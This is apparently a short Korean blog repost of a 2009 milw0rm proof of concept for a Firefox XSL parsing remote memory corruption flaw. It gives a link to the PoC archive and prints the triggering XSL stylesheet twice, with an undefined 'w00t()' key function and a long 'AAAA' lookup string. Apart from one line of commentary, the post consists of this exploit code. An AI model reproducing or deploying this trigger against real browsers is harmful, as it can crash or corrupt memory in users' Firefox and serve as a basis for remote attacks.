반응형
개인적으로 파폭은 안쓰지만~ 이로인한 악성코드가 발생 할 수 있는 확률은 크다 ㅠㅠ
// firefox XSL parsing remote memory corruption poc
// k`sOSe - works both in windows and linux
http://milw0rm.com/sploits/2009-ffox-poc.tar.gz
# milw0rm.com [2009-03-25]
// k`sOSe - works both in windows and linux
http://milw0rm.com/sploits/2009-ffox-poc.tar.gz
# milw0rm.com [2009-03-25]
[실제 악용 될 수 있는 코드]
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:key name="label" match="item2" use="w00t()"/>
<xsl:template match="root">
<xsl:for-each select="//item1">
<xsl:call-template name="item1" />
</xsl:for-each>
</xsl:template>
<xsl:template name="item1">
<xsl:for-each select="key('label', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')">
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:key name="label" match="item2" use="w00t()"/>
<xsl:template match="root">
<xsl:for-each select="//item1">
<xsl:call-template name="item1" />
</xsl:for-each>
</xsl:template>
<xsl:template name="item1">
<xsl:for-each select="key('label', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')">
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
댓글